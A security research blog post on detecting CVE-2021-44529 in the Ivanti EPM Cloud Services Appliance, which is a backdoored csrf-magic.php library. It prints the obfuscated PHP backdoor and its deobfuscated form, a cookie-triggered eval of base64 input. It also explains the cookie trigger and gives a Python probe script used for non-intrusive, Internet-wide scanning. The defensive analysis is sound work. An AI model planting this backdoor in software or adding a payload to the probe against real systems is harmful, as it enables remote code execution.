Ivanti EPM Cloud Services Appliance - Taking advantage of a backdoor to detect a vulnerability

Ivanti EPM Cloud Services Appliance - Taking advantage of a backdoor to detect a vulnerability hero

Introduction

At Bitsight, part of the Vulnerability Research team's core work involves analyzing vulnerabilities in order to create detection capabilities that can be implemented on an Internet-wide scale. Frequently, fingerprinting the software's version is not possible, and the team needs to find alternative, and sometimes unique, solutions to confidently detect vulnerabilities and infer exposure while avoiding any negative impact on the systems - Control Web Panel - Fingerprinting Open-Source Software using a Consolidation Algorithm approach.

This blog post details how `CVE-2021-44529` was researched as well as the current method being used to detect it. This CVE is a code injection issue, flagged by CISA as a Known Exploited Vulnerability (CISA KEV), affecting Ivanti Endpoint Manager’s Cloud Service Appliance. The team was not able to find a way to fingerprint the software’s version, so the focus shifted to the vulnerability itself - a backdoor, taking advantage of its behavior to detect vulnerable instances.

Problem statement

Analyzing the security advisory Security Advisory for Ivanti Endpoint Manager - Cloud Service Appliance - SA-2021-12-02 along with several other security researches and blog posts, we realized this was not the “typical” vulnerability but instead, it was a very awkward situation - importing/using a backdoored library, and even more interesting was the fact that Ivanti issued a fix - patch 512, but also a workaround that required manually editing the csrf-magic.php file, by running the following script:

cd /opt/landesk/broker/webroot/lib
cp csrf-magic.php csrf-magic.php.bak
sed -i '/Obscure Tokens/{N;N;N;N;N;N;N;N;N;d}' csrf-magic.php

According to The curious case of 'csrf-magic': A case study in supply chain poisoning, that workaround led to the discovery of a backdoor.

“This led bug bounty hunter and security researcher Tuan Anh Nguyen to conclude that the so-called "code injection" vulnerability was, in fact, a "backdoor" in an open-source component, ‘csrf-magic.’”

The backdoor

Our initial evaluation revealed that fingerprinting the software version was not feasible without authentication, so we had to turn our attention to the backdoor itself, searching for a method to detect its presence. Although at this point the backdoor had already been discovered and deobfuscated, we decided to do it ourselves in order to get the full code without any editing whatsoever, ensuring that we didn't miss any information.

The archived csrf-magic.php file where the malicious code can be found, contains the following obfuscated lines of code.

$aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn";
$lviw = str_replace("m","","msmtmr_mrmemplmamcme"); # str_replace
$bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2";
$hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg";
$rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==";
$xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce"); # base64_decode
$murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn"); # create_function
$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom))); $zmto();

Partially readable information was revealed after completing the first deobfuscation step.

$lviw = "str_replace"
$xytu = "base64_decode"
$murp = "create_function"
$zmto = create_function(base64_decode(str_replace("fs", "", "fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYgJGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysnKSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==")))

After a few more steps we were able to get the full backdoor code

$c = 'count';
$a = $_COOKIE;
if (reset($a) == 'ab' && $c($a) > 3) {
    $k = 'c123';
    echo '<' . $k . '>';
    eval(base64_decode(preg_replace(array('/[^\w=\s]/', '/\s/'), array('', '+'), join(array_slice($a, $c($a) - 3)))));
    echo '</' . $k . '>';
}

Finding vulnerable instances using the backdoor

The backdoor is very easy to understand. It will start by getting the cookie header, checking if the first cookie contains the value 'ab', and if so, it will retrieve the last 3 cookies, join their values, and remove everything that is not:

  • Character [a-zA-Z]
  • Whitespace
  • Character '='

Finally, It replaces all the whitespaces with the character "+", since the payload is a base64 string.

After the payload is executed, its result will be added to an XML-like custom tag sent in the response.

<c123>
EXECUTION RESULT
</c123>

The Vulnerability Research team found it interesting that the backdoor response always followed a predetermined format. Looking at the malicious code we noticed that it only requires the request to have at least 4 cookies in the cookie header, and the first one needs to have the value 'ab', but besides that, no other validations are performed.

This means that, If no payload/command is sent to be executed, the backdoor will not perform any read/write operations on the system, but the response will still follow the same predetermined format.

<c123>
</c123>

To scan for it we simply needed to submit a simple GET request, including the cookie structure described above - such as in the below example:

import requests

cookies_dict = {'ab':'ab', 'c':'', 'd':'', 'e':''}

url1 = 'http://localhost:8001/index.php'
response = requests.get(url1, cookies=cookies_dict, verify = False)

print(str(response.content))

Ivanti EPM Cloud Services Appliance - Taking advantage of a backdoor to detect a vulnerability blog graph

Now that we had a way to confidently determine if a certain system contains the backdoor code, without actually causing any intrusive behavior, we developed our detection mechanism to be loaded into our internet-wide scanning capabilities, in order to be able to provide exposure results to our customers in our vulnerability-detection feature.

Results

Using the technique mentioned above, we developed our detection capability and added it to our platform. Our scans showed that after this vulnerability was added to the CISA Known Exploited Vulnerabilities list, the number of internet-facing Ivanti Cloud Appliances instances decreased. During our latest internet scan, we found 1748 Ivanti Cloud Appliances, with 41 of them still vulnerable to CVE-2021-44529.

Conclusion

In conclusion, this research showcases two different lessons to be learned. For developers and software vendors in general, this is once again a story of how insufficient open-source dependency management can lead to massively exploited vulnerability events down the road - as seen even very recently in The xz apocalypse that almost was.

On the other hand, for us as Security Researchers, it showcased how important it is to dig deeper into sometimes old vulnerabilities and better understand what is happening under the hood - which in this case allowed us to come up with a non-intrusive new, custom detection technique which will, ultimately, help keep our customers and their third-parties safer.